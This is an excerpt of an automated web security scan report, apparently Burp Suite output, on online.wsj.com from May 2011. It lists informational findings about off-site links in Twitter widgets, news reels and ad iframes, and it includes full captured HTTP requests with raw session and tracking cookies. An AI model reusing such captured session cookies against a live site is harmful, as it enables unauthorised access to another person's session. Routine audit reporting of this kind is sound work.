Cookie: djcs_route=3745086d-ef84-4e3d-8fb3-761e62d9d99d; wsjregion=na%2cus; s_vnum=1307959748765%26vn%3D1; s_dbfe=1305367748766; _chartbeat2=wh4hk9xmdxztvs8m; __utmz=1.1305367794.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=1.1748330365.1305367794.1305367794.1305367794.1; __utmc=1; __utmb=1.1.10.1305367794; rsi_csl=; rsi_segs=; mbox=session#1305367797515-52119#1305370149|check#true#1305368349; DJCOOKIE=ORC%3Dna%2Cus%7C%7CweatherUser%3D%7C%7CweatherJson%3D%7B%22city%22%3A%22New%20York%22%2C%22image%22%3A%2233%22%2C%22high%22%3A%5B%2270%22%5D%2C%22low%22%3A%5B%2256%22%5D%2C%22url%22%3A%22http%3A%2F%2Fonline.wsj.com%2Fpublic%2Fpage%2Faccuweather-detailed-forecast.html%3Fname%3DNew%20York%2C%20NY%26location%3D10005%26u%3Dhttp%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0http%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0%22%7D%7C%7CweatherExpire%3DSat%2C%2014%20May%202011%2010%3A29%3A14%20GMT%7C%7CweatherCode%3D10005; DJSESSION=ORCS%3Dna%2Cus%7C%7CBIZO%3Dbiz%3D1053%3B%7C%7CFREEREGSCRIMCOUNT%3Dnull; s_cc=true; s_invisit=true; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:37:38 GMT
Server: Apache
Last-Modified: Sat, 14 May 2011 10:33:05 GMT
Accept-Ranges: bytes
Vary: Accept-Encoding
Cache-Control: max-age=2592000
Expires: Mon, 13 Jun 2011 10:37:38 GMT
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/html
Content-Length: 3565

<div class="headlineSummary twHeadline">
<h3>Latest Tweets</h3>
</div>
<div class="twLatestTweets headlineSummary twLatestTweets-av">
<ul class="twTweetsItem">

<li>

<a href="http://twitter.com/WSJPersFinance"> <img src="http://a2.twimg.com/profile_images/117747151/twitter_personalfin_normal.jpg" alt="http://twitter.com/WSJPersFinance" height="48" width="48"/></a>
<p><a href="http://twitter.com/WSJPersFinance"><b>
...[SNIP]...
<span class="sourceLink"><a href="http://twitter.com/WSJPersFinance/statuses/69341469080686592">31 min ago</a>
...[SNIP]...
<li>

<a href="http://twitter.com/Jonnelle"> <img src="http://a2.twimg.com/profile_images/1186519109/1a33c7b_normal.jpg" alt="http://twitter.com/Jonnelle" height="48" width="48"/></a>
<p><a href="http://twitter.com/Jonnelle"><b>Jonnelle</b></a><span class="sourceLink">: <a href="http://twitter.com/cherring1">@cherring1</a>
...[SNIP]...
<span class="sourceLink"><a href="http://twitter.com/Jonnelle/statuses/69268428317409280">5 hrs ago</a>
...[SNIP]...
<li>

<a href="http://twitter.com/WSJPersFinance"> <img src="http://a2.twimg.com/profile_images/117747151/twitter_personalfin_normal.jpg" alt="http://twitter.com/WSJPersFinance" height="48" width="48"/></a>
<p><a href="http://twitter.com/WSJPersFinance"><b>
...[SNIP]...
<span class="sourceLink"><a href="http://twitter.com/WSJPersFinance/statuses/69166154781966336">12 hrs ago</a>
...[SNIP]...
<li>

<a href="http://twitter.com/WSJPersFinance"> <img src="http://a2.twimg.com/profile_images/117747151/twitter_personalfin_normal.jpg" alt="http://twitter.com/WSJPersFinance" height="48" width="48"/></a>
<p><a href="http://twitter.com/WSJPersFinance"><b>
...[SNIP]...
<span class="sourceLink"><a href="http://twitter.com/WSJPersFinance/statuses/69151015349395456">13 hrs ago</a>
...[SNIP]...
<li>

<a href="http://twitter.com/marypilon"> <img src="http://a2.twimg.com/profile_images/362264839/Pilon-Mary-colhed_normal.gif" alt="http://twitter.com/marypilon" height="48" width="48"/></a>
<p><a href="http://twitter.com/marypilon"><b>
...[SNIP]...
</a> <a href="http://search.twitter.com/search?q=%23SALT" onclick="pageTracker._setCustomVar(2, 'result_type', 'recent', 3);pageTracker._trackPageview('/intra/hashtag/#SALT');">#SALT</a>
...[SNIP]...
<span class="sourceLink"><a href="http://twitter.com/marypilon/statuses/69139886829088768">13 hrs ago</a>
...[SNIP]...
<li>
<a class="followTw" href="http://twitter.com/wsj">Follow WSJ on</a>
...[SNIP]...

19.121. http://online.wsj.com/internal/ModTwitWSJRealEstate.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/internal/ModTwitWSJRealEstate.htm

Issue detail

The page was loaded from a URL containing a query string:

http://online.wsj.com/internal/ModTwitWSJRealEstate.htm?dojo.preventCache=1305368650923

The response contains the following links to other domains:

http://a0.twimg.com/profile_images/423199898/BobPhoto_normal.jpg
http://a1.twimg.com/profile_images/1149585332/twittershot_normal.JPG
http://a1.twimg.com/profile_images/68204098/WotapkaSABEW_normal.jpg
http://search.twitter.com/search?q=%23dyingthroes
http://twitter.com/AndrewKroll
http://twitter.com/JamesRHagerty
http://twitter.com/JamesRHagerty/statuses/69248388331352066
http://twitter.com/RWhelanWSJ
http://twitter.com/RWhelanWSJ/statuses/69048940602986497
http://twitter.com/RWhelanWSJ/statuses/69124541405863936
http://twitter.com/RWhelanWSJ/statuses/69128169650786304
http://twitter.com/big_ben_clock
http://twitter.com/dwotapka
http://twitter.com/dwotapka/statuses/69124692681826304
http://twitter.com/rwhelanwsj
http://twitter.com/wsj

Request

GET /internal/ModTwitWSJRealEstate.htm?dojo.preventCache=1305368650923 HTTP/1.1
Host: online.wsj.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/public/page/news-real-estate-homes.html?mod=WSJ_topnav_realestate_main
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=3745086d-ef84-4e3d-8fb3-761e62d9d99d; wsjregion=na%2cus; s_vnum=1307959748765%26vn%3D1; s_dbfe=1305367748766; __utmz=1.1305367794.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); mbox=session#1305367797515-52119#1305370149|check#true#1305368349; DJCOOKIE=ORC%3Dna%2Cus%7C%7CweatherUser%3D%7C%7CweatherJson%3D%7B%22city%22%3A%22New%20York%22%2C%22image%22%3A%2233%22%2C%22high%22%3A%5B%2270%22%5D%2C%22low%22%3A%5B%2256%22%5D%2C%22url%22%3A%22http%3A%2F%2Fonline.wsj.com%2Fpublic%2Fpage%2Faccuweather-detailed-forecast.html%3Fname%3DNew%20York%2C%20NY%26location%3D10005%26u%3Dhttp%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0http%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0%22%7D%7C%7CweatherExpire%3DSat%2C%2014%20May%202011%2010%3A29%3A14%20GMT%7C%7CweatherCode%3D10005; DJSESSION=ORCS%3Dna%2Cus%7C%7CBIZO%3Dbiz%3D1053%3B%7C%7CFREEREGSCRIMCOUNT%3Dnull; _chartbeat2=wh4hk9xmdxztvs8m; rsi_csl=lA; rsi_segs=G07608_10001; __utma=1.1748330365.1305367794.1305367794.1305367794.1; __utmc=1; __utmb=1.2.10.1305367794; s_cc=true; s_invisit=true; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:41:56 GMT
Server: Apache
Last-Modified: Sat, 14 May 2011 10:03:09 GMT
Accept-Ranges: bytes
Vary: Accept-Encoding
Cache-Control: max-age=2592000
Expires: Mon, 13 Jun 2011 10:41:56 GMT
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/html
Content-Length: 3688

<div class="headlineSummary twHeadline">
<h3>Latest Tweets</h3>
</div>
<div class="twLatestTweets headlineSummary twLatestTweets-av">
<ul class="twTweetsItem">

<li>

<a href="http://twitter.com/JamesRHagerty"> <img src="http://a0.twimg.com/profile_images/423199898/BobPhoto_normal.jpg" alt="http://twitter.com/JamesRHagerty" height="48" width="48"/></a>
<p><a href="http://twitter.com/JamesRHagerty"><b>
...[SNIP]...
<span class="sourceLink"><a href="http://twitter.com/JamesRHagerty/statuses/69248388331352066">6 hrs ago</a>
...[SNIP]...
<li>

<a href="http://twitter.com/RWhelanWSJ"> <img src="http://a1.twimg.com/profile_images/1149585332/twittershot_normal.JPG" alt="http://twitter.com/RWhelanWSJ" height="48" width="48"/></a>
<p><a href="http://twitter.com/RWhelanWSJ"><b>
...[SNIP]...
<span class="sourceLink">: RT <a href="http://twitter.com/AndrewKroll">@AndrewKroll</a>: An email I just rec'd: "You can now publish your Myspace page within your Facebook fan page." Ouch. <a href="http://search.twitter.com/search?q=%23dyingthroes" onclick="pageTracker._setCustomVar(2, 'result_type', 'recent', 3);pageTracker._trackPageview('/intra/hashtag/#dyingthroes');">#dyingthroes</a>
...[SNIP]...
<span class="sourceLink"><a href="http://twitter.com/RWhelanWSJ/statuses/69128169650786304">14 hrs ago</a>
...[SNIP]...
<li>

<a href="http://twitter.com/dwotapka"> <img src="http://a1.twimg.com/profile_images/68204098/WotapkaSABEW_normal.jpg" alt="http://twitter.com/dwotapka" height="48" width="48"/></a>
<p><a href="http://twitter.com/dwotapka"><b>dwotapka</b></a><span class="sourceLink">: RT <a href="http://twitter.com/rwhelanwsj">@rwhelanwsj</a>
...[SNIP]...
<span class="sourceLink"><a href="http://twitter.com/dwotapka/statuses/69124692681826304">14 hrs ago</a>
...[SNIP]...
<li>

<a href="http://twitter.com/RWhelanWSJ"> <img src="http://a1.twimg.com/profile_images/1149585332/twittershot_normal.JPG" alt="http://twitter.com/RWhelanWSJ" height="48" width="48"/></a>
<p><a href="http://twitter.com/RWhelanWSJ"><b>
...[SNIP]...
<span class="sourceLink"><a href="http://twitter.com/RWhelanWSJ/statuses/69124541405863936">14 hrs ago</a>
...[SNIP]...
<li>

<a href="http://twitter.com/RWhelanWSJ"> <img src="http://a1.twimg.com/profile_images/1149585332/twittershot_normal.JPG" alt="http://twitter.com/RWhelanWSJ" height="48" width="48"/></a>
<p><a href="http://twitter.com/RWhelanWSJ"><b>
...[SNIP]...
<span class="sourceLink">: This is the best twitter feed on the whole internet: <a href="http://twitter.com/big_ben_clock">@big_ben_clock</a>
...[SNIP]...
<span class="sourceLink"><a href="http://twitter.com/RWhelanWSJ/statuses/69048940602986497">19 hrs ago</a>
...[SNIP]...
<li>
<a class="followTw" href="http://twitter.com/wsj">Follow WSJ on</a>
...[SNIP]...

19.122. http://online.wsj.com/public/page/0_0_WP_2400_NewsReel.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/public/page/0_0_WP_2400_NewsReel.html

Issue detail

The page was loaded from a URL containing a query string:

http://online.wsj.com/public/page/0_0_WP_2400_NewsReel.html?baseDocId=SB10001424052748703730804576313682030967852

The response contains the following links to other domains:

http://www.smartmoney.com/borrow/credit-cards/bank-fees-attack-the-sequel-1305250387184/
http://www.smartmoney.com/invest/bonds/are-savings-bonds-suddenly-exciting-1305129391456/
http://www.smartmoney.com/invest/mutual-funds/the-new-case-for-balanced-funds-1305217557644/
http://www.smartmoney.com/invest/strategies/what-the-galleon-verdict-means-for-you-1305208431867/
http://www.smartmoney.com/spend/deal-of-the-day/the-new-best-couponclipping-sites-1305051028323/

Request

GET /public/page/0_0_WP_2400_NewsReel.html?baseDocId=SB10001424052748703730804576313682030967852 HTTP/1.1
Host: online.wsj.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703730804576313682030967852.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=3745086d-ef84-4e3d-8fb3-761e62d9d99d; wsjregion=na%2cus; s_vnum=1307959748765%26vn%3D1; s_dbfe=1305367748766; DJSESSION=ORCS%3Dna%2Cus%7C%7CBIZO%3Dbiz%3D1053%3B; DJCOOKIE=ORC%3Dna%2Cus%7C%7CweatherUser%3D%7C%7CweatherJson%3D%7B%22city%22%3A%22New%20York%22%2C%22image%22%3A%2233%22%2C%22high%22%3A%5B%2270%22%5D%2C%22low%22%3A%5B%2256%22%5D%2C%22url%22%3A%22http%3A%2F%2Fonline.wsj.com%2Fpublic%2Fpage%2Faccuweather-detailed-forecast.html%3Fname%3DNew%20York%2C%20NY%26location%3D10005%26u%3Dhttp%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0http%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0%22%7D%7C%7CweatherExpire%3DSat%2C%2014%20May%202011%2010%3A29%3A14%20GMT%7C%7CweatherCode%3D10005; _chartbeat2=wh4hk9xmdxztvs8m; __utmz=1.1305367794.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=1.1748330365.1305367794.1305367794.1305367794.1; __utmc=1; __utmb=1.1.10.1305367794; rsi_csl=; rsi_segs=; s_invisit=true; s_cc=true; s_sq=%5B%5BB%5D%5D; mbox=session#1305367797515-52119#1305370149|check#true#1305368349

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:35:44 GMT
Server: Apache/2.0.58 (Unix)
FastDynaPage-ServerInfo: sbkj2kapachep04 - Sat 05/14/11 - 04:17:43 EDT
Cache-Control: max-age=15
Expires: Sat, 14 May 2011 10:35:59 GMT
Vary: Accept-Encoding
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/html; charset=UTF-8
Content-Length: 17063

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/
...[SNIP]...
</small>
<a href="http://www.smartmoney.com/borrow/credit-cards/bank-fees-attack-the-sequel-1305250387184/"><img src="http://si.wsj.net/public/resources/images/PF-AA299_smcash_A_20110321121951.jpg" vspace="0" hspace="0" border="0" alt="[smcashloan]" height="76" width="76" class="thumb"/>
...[SNIP]...
<h2><a href="http://www.smartmoney.com/borrow/credit-cards/bank-fees-attack-the-sequel-1305250387184/">Bank Fees Attack: The Sequel
</a>
...[SNIP]...
</small>
<a href="http://www.smartmoney.com/invest/mutual-funds/the-new-case-for-balanced-funds-1305217557644/"><img src="http://si.wsj.net/public/resources/images/PF-AA505_smbala_A_20110512122432.jpg" vspace="0" hspace="0" border="0" alt="[smbalancedfunds]" height="76" width="76" class="thumb"/>
...[SNIP]...
<h2><a href="http://www.smartmoney.com/invest/mutual-funds/the-new-case-for-balanced-funds-1305217557644/">The New Case for Balanced Funds
</a>
...[SNIP]...
</small>
<a href="http://www.smartmoney.com/invest/strategies/what-the-galleon-verdict-means-for-you-1305208431867/"><img src="http://si.wsj.net/public/resources/images/OB-NW019_0511ga_A_20110511103013.jpg" vspace="0" hspace="0" border="0" alt="[0511galleon01]" height="76" width="76" class="thumb"/>
...[SNIP]...
<h2><a href="http://www.smartmoney.com/invest/strategies/what-the-galleon-verdict-means-for-you-1305208431867/">What the Galleon Verdict Means for You
</a>
...[SNIP]...
</small>
<a href="http://www.smartmoney.com/invest/bonds/are-savings-bonds-suddenly-exciting-1305129391456/"><img src="http://si.wsj.net/public/resources/images/PF-AA500_smsavi_A_20110511115604.jpg" vspace="0" hspace="0" border="0" alt="[smsavingsbond]" height="76" width="76" class="thumb"/>
...[SNIP]...
<h2><a href="http://www.smartmoney.com/invest/bonds/are-savings-bonds-suddenly-exciting-1305129391456/">Are Savings Bonds Suddenly Exciting?
</a>
...[SNIP]...
</small>
<a href="http://www.smartmoney.com/spend/deal-of-the-day/the-new-best-couponclipping-sites-1305051028323/"><img src="http://si.wsj.net/public/resources/images/PF-AA497_smcoup_A_20110510140931.jpg" vspace="0" hspace="0" border="0" alt="[smcoupons]" height="76" width="76" class="thumb"/>
...[SNIP]...
<h2><a href="http://www.smartmoney.com/spend/deal-of-the-day/the-new-best-couponclipping-sites-1305051028323/">The New Best Coupon-Clipping Sites
</a>
...[SNIP]...

19.123. http://online.wsj.com/public/page/news-career-jobs.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/public/page/news-career-jobs.html

Issue detail

The page was loaded from a URL containing a query string:

http://online.wsj.com/public/page/news-career-jobs.html?mod=WSJ_topnav_careers_main

The response contains the following links to other domains:

http://ad.doubleclick.net/activity;src=966743;type=caree215;cat=caree506;ord=1?
http://ad.doubleclick.net/adi/fins.com/candidate_front_wsj;!category=;msrc=WSJ_topnav_careers_main;s=8_10009;s=8_10001;s=8_10023;s=8_10033;s=8_10022;mc=b2pfreezone;pos=2;tile=3;sz=113x76;ord=8914891489148914;
http://ad.doubleclick.net/adi/fins.com/candidate_front_wsj;!category=;msrc=WSJ_topnav_careers_main;s=8_10009;s=8_10001;s=8_10023;s=8_10033;s=8_10022;mc=b2pfreezone;pos=3;tile=4;sz=113x76;ord=8914891489148914;
http://ad.doubleclick.net/adi/fins.com/primary_candidate_front_wsj;!category=;msrc=WSJ_topnav_careers_main;s=8_10009;s=8_10001;s=8_10023;s=8_10033;s=8_10022;mc=b2pfreezone;pos=1;tile=2;sz=113x76;ord=8914891489148914;
http://ad.doubleclick.net/clk;230830348;29011447;y?http://www.manhattangmat.com/wsj-101.cfm?utm_source=wsj&utm_medium=cpc&utm_content=national&utm_campaign=jan-2009
http://ad.doubleclick.net/clk;235473066;5644102;b?http://altfarm.mediaplex.com/ad/ck/17912-125067-1281-1
http://ad.doubleclick.net/clk;236877924;29011447;p?http://journalinsider.com/
http://ad.doubleclick.net/clk;239193527;5644102;g?http://clk.atdmt.com/DEN/go/305523490/direct/01/
http://ad.doubleclick.net/clk;240533406;6853491;g?http://online.wsj.com/ad/privatewealth
http://ad.doubleclick.net/clk;240570205;11024269;p?http://www.supplychainriskinsights.com
http://ad.doubleclick.net/clk;241113004;29011447;j?http://ad.doubleclick.net/clk;241083849;63189073;p;pc=[TPAS_ID]
http://adsyndication.msn.com/delivery/getads.js
http://allthingsd.com/
http://allthingsd.com/?reflink=DNH_EUR&mod=WSJ_footer
http://bigcharts.marketwatch.com/
http://bigcharts.marketwatch.com/?mod=WSJ_footer
http://blogs.smartmoney.com/encore
http://blogs.smartmoney.com/encore/2011/05/12/does-your-parent-need-a-senior-move-manager/
http://emoney.allthingsd.com/20110513/nordstroms-flash-sales-revenues-to-hit-180-million-this-year/?mod=ATD_rss
http://emoney.allthingsd.com/20110513/shoedazzle-walks-away-with-40-million-from-andreessen-horowitz/?mod=ATD_rss
http://fls.doubleclick.net/activityi;src=490793;type=conte003;cat=caree194;ord=1?
http://ie8.smoothfusion.com/WallStreetJournal/view.aspx
http://it-jobs.fins.com/?mod=WSJ_footer
http://it-jobs.fins.com/Articles/SB130505696841014767/Google-Obsessed-With-Its-Employees?Type=44&reflink=djp_wsjc
http://it-jobs.fins.com/Articles/SB130521280576715417/Blogging-Your-Startup?Type=44&reflink=djp_wsjc
http://it-jobs.fins.com/Articles/SB130529344254815723/New-Relationship-for-VCs-and-Startups?Type=1&reflink=djp_wsjc
http://it-jobs.fins.com/Jobs/94864/Professional-Applications-Developer-Drupal?reflink=djm_modulewsj_widgetjobs_jobswsjmegawidget
http://it-jobs.fins.com/Jobs/95679/754302-Software-Development-Engineer-SDE-II-Lync-Job?reflink=djm_modulewsj_widgetjobs_jobswsjmegawidget
http://itunes.apple.com/us/app/marketwatch-market-data-app/id426151836?mt=8
http://kara.allthingsd.com/20110513/dear-yahoo-board-your-investors-are-on-line-2-and-theyre-not-happy/?mod=ATD_rss
http://mediamemo.allthingsd.com/20110513/is-netflix-ready-to-save-its-first-show/?mod=ATD_rss
http://online.barrons.com/
http://online.barrons.com/article/SB50001424052970203286304576313263278025484.html?mod=rss_barrons_this_week_magazine
http://online.barrons.com/article/SB50001424052970203286304576313263699537514.html?mod=rss_barrons_this_week_magazine
http://online.barrons.com/article/SB50001424052970204224904576317191950021316.html?mod=rss_barrons_this_week_magazine
http://online.barrons.com/article/SB50001424052970204224904576317324217921368.html?mod=rss_barrons_this_week_magazine
http://online.barrons.com/article/SB50001424052970204224904576317351372090580.html?mod=rss_barrons_this_week_magazine
http://online.barrons.com/home
http://online.barrons.com/public/main?mod=WSJ_footer
http://podcast.mktw.net/wsj/audio/20110511/pod-wsjepshellenbarger/pod-wsjepshellenbarger.mp3
http://recruiter.fins.com/?reflink=djm_modulewsj_widgetjobs_wsjmegawidget
http://resumes.fins.com/?reflink=djm_module_wsjcareers_resumes_mkt
http://resumes.fins.com/?reflink=djp_wsjc_text
http://sales-jobs.fins.com/?mod=WSJ_footer
http://sales-jobs.fins.com/Articles/SB128586833714042477/Explaining-Gaps-in-Your-Sales-Resume?Type=44&reflink=djp_wsjc
http://sales-jobs.fins.com/Articles/SB130530383232815755/McCann-Hires-Chief-Brand-Editor-Two-Creatives-Exit?Type=36&reflink=djp_wsjc
http://sales-jobs.fins.com/Jobs/95790/RLDP-Leadership-Program?reflink=djm_modulewsj_widgetjobs_jobswsjmegawidget
http://the-acap.org/acap-enabled.php?mod=WSJ_footer
http://voices.allthingsd.com/20110513/artists-experiment-with-interactive-music-videos/?mod=ATD_rss
http://vse.marketwatch.com/Game/Homepage.aspx
http://vse.marketwatch.com/Game/Homepage.aspx?mod=WSJ_footer
http://wsj.careerdev.org/wsj/counseling/welcome.asp
http://wsj.iamplify.com/?mod=WSJ_footer
http://wsjradio.com/?mod=WSJ_footer
http://www.allthingsd.com/?siteid=wsj_hpp_atd
http://www.bizbuysell.com/franchise-for-sale/?J=H
http://www.bizbuysell.com/franchise-for-sale/?J=H&mod=careersmarketplace
http://www.bizbuysell.com/partner/wsjournal/
http://www.bizbuysell.com/partner/wsjournal/stylesheets/widgets.css
http://www.dj.com/?mod=WSJ_footer
http://www.djreprints.com/?mod=WSJ_footer
http://www.efinancialnews.com/
http://www.facebook.com/wsjonline?mod=WSJ_footer
http://www.fins.com/
http://www.fins.com/?mod=WSJ_footer
http://www.fins.com/Finance/Articles/SB130520865281615347/Are-College-Degrees-Approaching-Bubble-Territory?Type=1&reflink=djp_wsjc
http://www.fins.com/Finance/Articles/SB130521797514015479/New-Model-for-Silicon-Valley-VCs-to-Track-Their-Investments?Type=0&reflink=djp_wsjc
http://www.fins.com/Finance/Articles/SB130529566704415727/The-Most-Overpaid-CEOs-in-Finance?Type=7&reflink=djp_wsjc
http://www.fins.com/Finance/JScripts/FINS_Widget.js
http://www.fins.com/Finance/css/FINS_Widget.css
http://www.fins.com/Finance?reflink=djm_module_wsjcareers_text_job
http://www.fins.com/finance/?mod=WSJ_footer
http://www.marketwatch.com/
http://www.marketwatch.com/?siteid=wsj&dist=freedjsiteslink&mod=WSJ_footer
http://www.marketwatch.com/brokercenter?reflink=djm_mwbrokercenter_wsjsaslink
http://www.marketwatch.com/news/story.asp?guid=%7B729F25B4-7BFC-11E0-915A-00212804637C%7D&siteid=rss&rss=1
http://www.marketwatch.com/news/story.asp?guid=%7B8BC51928-7D2C-11E0-915A-00212804637C%7D&siteid=rss&rss=1
http://www.marketwatch.com/news/story.asp?guid=%7BA85A0A6E-7D70-11E0-915A-00212804637C%7D&siteid=rss&rss=1
http://www.marketwatch.com/news/story.asp?guid=%7BB63A7F18-7D90-11E0-915A-00212804637C%7D&siteid=rss&rss=1
http://www.marketwatch.com/news/story.asp?guid=%7BDDE3A06C-7C0A-11E0-915A-00212804637C%7D&siteid=rss&rss=1
http://www.smartmoney.com/
http://www.smartmoney.com/?mod=WSJ_footer
http://www.smartmoney.com/borrow/credit-cards/bank-fees-attack-the-sequel-1305250387184/?cid=1108
http://www.smartmoney.com/borrow/credit-cards/latest-scam-highlights-debitcard-dangers-1305329229415/?cid=1108
http://www.smartmoney.com/invest/stocks/3-stocks-priced-for-unrealistic-growth-1305323260315/?cid=1108
http://www.smartmoney.com/plan/employment/surviving-the-superjob-1304556743727/
http://www.smartmoney.com/retirement/planning/playing-retirement-account-catch-up/?cid=1108
http://www.smartmoney.com/retirement/planning/the-stealth-retirement-community-1305320334195/?cid=1108
http://www.wallstreetjournal.com/
http://www.wsj-asia.com/flp/about.html?mod=WSJ_footer
http://www.wsjdigital.com/?mod=WSJ_footer
http://www.wsjlocal.com/?mod=WSJ_footer
http://www.wsjradio.com/
http://www.wsjwine.com/
https://www.wsjsafehouse.com/
https://www.wsjwine.com/2861001?mod=djm_offermodule_2011

Request

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:39:30 GMT
Server: Apache/2.0.58 (Unix)
FastDynaPage-ServerInfo: sbkj2kapachep01 - Sat 05/14/11 - 06:35:03 EDT
Cache-Control: max-age=15
Expires: Sat, 14 May 2011 10:39:45 GMT
Vary: Accept-Encoding
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/html; charset=UTF-8
Content-Length: 159858

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/
...[SNIP]...
<li class="hat_tab" id="hat_tab2">
<a onclick="hat.track('MW')" href="http://www.marketwatch.com" id="hat_link2"></a>
...[SNIP]...
<li class="hat_tab" id="hat_tab3">
<a onclick="hat.track('BOL')" href="http://online.barrons.com/home" id="hat_link3"></a>
...[SNIP]...
<li class="hat_tab" id="hat_tab4">
<a onclick="hat.track('ATD')" href="http://allthingsd.com" id="hat_link4"></a>
...[SNIP]...
<li class="hat_tab" id="hat_tab6">
<a onclick="hat.track('FINS')" href="http://www.fins.com" id="hat_link5"></a>
...[SNIP]...
<li class="hat_tab" id="hat_tab7">
<a onclick="hat.track('SM')" href="http://www.smartmoney.com" id="hat_link6"></a>
...[SNIP]...
<li class="hat_drop_item" id="hat_more0"><a href="http://bigcharts.marketwatch.com/">Big Charts</a>
...[SNIP]...
<li class="hat_drop_item" id="hat_more1"><a href="http://vse.marketwatch.com/Game/Homepage.aspx">Virtual Stock Exchange</a>
...[SNIP]...
<li class="hat_drop_item" id="hat_more8"><a href="http://www.wsjradio.com">WSJ Radio</a>
...[SNIP]...
<li class="hat_drop_item" id="hat_more9"><a href="http://www.efinancialnews.com/">Financial News</a>
...[SNIP]...
<li class="hat_drop_item lifestyleItem" id="hat_more11"><a href="http://www.wsjwine.com/">WSJ<span>
...[SNIP]...
</h3>
       <a href="http://www.fins.com/" class="fins_logo">Powered by</a>
...[SNIP]...
</ul>
       <a class="ln_external" href="http://resumes.fins.com?reflink=djp_wsjc_text">Stand out with FINS Resume Service »</a>
...[SNIP]...
<li id="featured_employer1_S">
               <iframe src="http://ad.doubleclick.net/adi/fins.com/primary_candidate_front_wsj;!category=;msrc=WSJ_topnav_careers_main;s=8_10009;s=8_10001;s=8_10023;s=8_10033;s=8_10022;mc=b2pfreezone;pos=1;tile=2;sz=113x76;ord=8914891489148914;" id="featured_employer1_Siframe" width="113" height="76" scrolling="no" frameborder="0" marginwidth="0" marginheight="0" hspace="0" vspace="0" border="0" style="margin:0px; padding:0px"></iframe></li>
       <li id="featured_employer2_S">
               <iframe src="http://ad.doubleclick.net/adi/fins.com/candidate_front_wsj;!category=;msrc=WSJ_topnav_careers_main;s=8_10009;s=8_10001;s=8_10023;s=8_10033;s=8_10022;mc=b2pfreezone;pos=2;tile=3;sz=113x76;ord=8914891489148914;" id="featured_employer2_Siframe" width="113" height="76" scrolling="no" frameborder="0" marginwidth="0" marginheight="0" hspace="0" vspace="0" border="0" style="margin:0px; padding:0px"></iframe></li>
       <li id="featured_employer3_S">
               <iframe src="http://ad.doubleclick.net/adi/fins.com/candidate_front_wsj;!category=;msrc=WSJ_topnav_careers_main;s=8_10009;s=8_10001;s=8_10023;s=8_10033;s=8_10022;mc=b2pfreezone;pos=3;tile=4;sz=113x76;ord=8914891489148914;" id="featured_employer3_Siframe" width="113" height="76" scrolling="no" frameborder="0" marginwidth="0" marginheight="0" hspace="0" vspace="0" border="0" style="margin:0px; padding:0px"></iframe>
...[SNIP]...
<li class="offer offer2">
               <a href="http://itunes.apple.com/us/app/marketwatch-market-data-app/id426151836?mt=8">
           <span class="offerGraphic">
...[SNIP]...
<li class="offer offer3 offerLast">
               <a href="https://www.wsjwine.com/2861001?mod=djm_offermodule_2011">
                   <span class="offerGraphic">
...[SNIP]...
</script>
